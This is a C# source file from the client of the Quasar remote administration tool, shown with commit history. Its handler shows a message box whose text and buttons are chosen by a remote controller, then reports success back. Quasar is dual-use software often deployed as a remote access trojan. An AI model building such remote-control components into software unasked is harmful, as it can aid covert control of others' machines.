Quasar/Quasar.Client/Messages/MessageBoxHandler.cs

40 lines
1.3 KiB
C#
Raw Normal View History

2020-05-26 20:43:49 +00:00
using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Threading;
using System.Windows.Forms;
namespace Quasar.Client.Messages
{
public class MessageBoxHandler : IMessageProcessor
2020-05-26 20:43:49 +00:00
{
public bool CanExecute(IMessage message) => message is DoShowMessageBox;
2020-05-26 20:43:49 +00:00
public bool CanExecuteFrom(ISender sender) => true;
2020-05-26 20:43:49 +00:00
public void Execute(ISender sender, IMessage message)
2020-05-26 20:43:49 +00:00
{
switch (message)
{
case DoShowMessageBox msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, DoShowMessageBox message)
{
new Thread(() =>
{
// messagebox thread resides in csrss.exe - wtf?
2020-05-26 20:43:49 +00:00
MessageBox.Show(message.Text, message.Caption,
(MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), message.Button),
(MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), message.Icon),
MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly);
}) {IsBackground = true}.Start();
2020-05-26 20:43:49 +00:00
client.Send(new SetStatus { Message = "Successfully displayed MessageBox" });
}
}
}